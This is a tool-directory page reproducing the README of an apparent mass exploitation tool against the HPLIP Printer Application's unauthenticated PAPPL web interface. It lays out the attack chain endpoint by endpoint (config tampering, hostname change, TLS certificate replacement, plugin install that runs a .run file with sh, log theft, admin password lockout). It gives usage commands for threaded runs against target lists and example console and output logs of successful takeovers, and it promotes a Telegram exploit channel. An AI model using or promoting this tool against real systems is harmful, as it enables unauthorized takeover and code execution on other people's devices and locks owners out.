Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-91097-CVE-2026-91106 — HPLIP < 3.26.6 — Full admin takeover via PAPPL web interface (no auth). Related to CVE-2026-91097 through CVE-2026-91106 (CVSS 9.3) | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-91097-cve-2026-91106
Defensive ToolsVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationWeb SecurityNetwork SecurityPenetration Testing

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Payload Development
GitHubnxploited/cve-2026-91097-cve-2026-91106

CVE-2026-91097-CVE-2026-91106

HPLIP < 3.26.6 — Full admin takeover via PAPPL web interface (no auth). Related to CVE-2026-91097 through CVE-2026-91106 (CVSS 9.3)

View Repository
1371 month agoNot yet reviewed
Share

Affected Auth Impact

🔬 Join Telegram for the latest vulnerability research and exploit releases
Telegram


HPLIP Printer Application — Unauthenticated Admin Takeover

Mass exploitation tool targeting the HPLIP Printer Application (PAPPL-based web interface) in all HPLIP versions before 3.26.6. The tool exploits the default unauthenticated state of the PAPPL web interface to perform a full administrative takeover chain: configuration tampering, hostname modification, TLS certificate replacement, HP plugin installation (triggers shell execution of .run file on the target), system log exfiltration, and admin password lockout.

What This Tool Exploits

The core vulnerability is the PAPPL Unauthenticated Administrative Access — the HPLIP Printer Application ships with no password configured by default, allowing any network attacker to perform all administrative actions without authentication through the web interface (typically port 8000).

Additionally, the plugin installation chain leverages weaknesses addressed in:

CVECWECVSS 4.0Relevance
CVE-2026-91097CWE-94 / CWE-7877.0Path Traversal in plugin.spec — the plugin installation triggered by this tool passes through the vulnerable pluginhandler.py code
CVE-2026-91102CWE-78 / CWE-4948.4Download Without Integrity Check — the plugin .run file is downloaded over HTTP and executed with sh on the target

HP Security Bulletin: HPSBPI04151

Exploited Endpoints

EndpointActionVerified
/securitySet admin password (account takeover)✅
/configModify DNS-SD name, location, organization, contact✅
/networkChange system hostname✅
/tls-install-crtUpload arbitrary TLS certificate + private key✅
/pluginTrigger HP plugin download + license accept + install (executes .run with sh)✅
/logfile.txtRead full application log file (information disclosure)✅

Exploitation Chain

Target Discovery
    │
    ▼
Detect HPLIP Printer Application (Server header + version)
    │
    ▼
Check Authentication Status (/security)
    │
    ├── Password Set ──► Log as VULN (locked)
    │
    └── No Password (default) ──► Exploit Chain:
            │
            ├── 1. Modify Configuration (/config)
            │       dns_sd_name, location, organization, contact_name
            │       Verified: marker reflected in response
            │
            ├── 2. Change Hostname (/network)
            │       Old hostname captured, new hostname set
            │       Verified: new value reflected in response
            │
            ├── 3. Upload TLS Certificate (/tls-install-crt)
            │       Custom PEM certificate + private key
            │       Multipart file upload
            │
            ├── 4. Install HP Plugin (/plugin)
            │       Step 1: POST action=install-plugin (downloads .run)
            │       Step 2: POST action=license-accepted (executes with sh)
            │       ⚠ CVE-2026-91097 + CVE-2026-91102
            │
            ├── 5. Read Log File (/logfile.txt)
            │       System paths, environment info, Snap paths
            │
            └── 6. Set Admin Password (/security)
                    Locks out further unauthenticated access
                    Completes full admin takeover

Installation

pip install requests

Python 3.8+ required. No other dependencies.

Usage

Command Line

python T.py targets.txt 50
ArgumentDescriptionDefault
targets.txtFile containing target list (one per line)Prompted
50Number of concurrent threads15

Interactive Mode

python T.py

The tool will prompt for the target list file and thread count.

Target Format

192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
  • If no port is specified, defaults to 8000
  • If no scheme is specified, both HTTP and HTTPS are tried
  • Duplicate targets are automatically deduplicated
  • Lines starting with # are ignored

Output Files

FileContents
AdminS.txtAdmin takeover — password, server version, full panel URL map
Nx_modify.txtVerified configuration and hostname changes (old → new values)
Nx_upload.txtTLS certificate upload confirmations
Nx_plugin.txtHP plugin installation results with shell execution status
Nx_recon.txtInformation disclosure — log file size, environment paths, version

Example — AdminS.txt

http://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...

Example — Nx_modify.txt

http://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123

Console Output

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

   ██████   ██ ██   ██
   ██  ███  ██  ██ ██
   ██   ██████   ███
   ██    █████  ██ ██
   ██     ████ ██   ██

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  HPLIP Printer Application  │  Admin Takeover + Full Control
  Affected < 3.26.6  │  PAPPL Unauthenticated Access

  CVE-2026-91097  │  Plugin Path Traversal
  CVE-2026-91102  │  Plugin Download Without Integrity + Shell Exec

  Exploited via Web:  /security /config /network /plugin /tls-install-crt /logs

  By: Nxploited ( Khaled Alenazi )  │  Telegram: @Kxploit
  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

 targets=4  threads=4

 00:11:34  [CUPS  ]  http://192.168.1.100:8000  Server: HPLIP_Printer_Application/3.22.10-13
 00:11:34  [VER   ]  http://192.168.1.100:8000  v3.22.10 < 3.26.6 AFFECTED
 00:11:35  [PROBE ]  http://192.168.1.100:8000  v3.22.10 | NO AUTH | exploiting...
 00:11:36  [CFG   ]  http://192.168.1.100:8000  CONFIG MODIFIED | marker=abc12345
 00:11:37  [NET   ]  http://192.168.1.100:8000  HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
 00:11:38  [CERT  ]  http://192.168.1.100:8000  TLS CERT UPLOADED | marker=abc12345
 00:12:03  [PLG   ]  http://192.168.1.100:8000  PLUGIN | freshly_installed | shell_exec=True
 00:12:05  [LOG   ]  http://192.168.1.100:8000  logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
 00:12:05  [ADMIN ]  http://192.168.1.100:8000  PASSWORD SET | pw=Nx-zD_buovl6wko0
 00:12:05  [HIT   ]  http://192.168.1.100:8000  v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN

 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 DONE  4/4  █ HIT=4  █ VULN=0  █ SAFE=0  █ SKIP=0

 ▐ Admin Takeover: 4  └─ AdminS.txt
 ▐ Modifications : 8  └─ Nx_modify.txt
 ▐ Cert Uploads  : 4  └─ Nx_upload.txt
 ▐ Plugin Exec   : 1  └─ Nx_plugin.txt
 ▐ Recon / Info  : 8  └─ Nx_recon.txt
 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Target Classification

Download Tool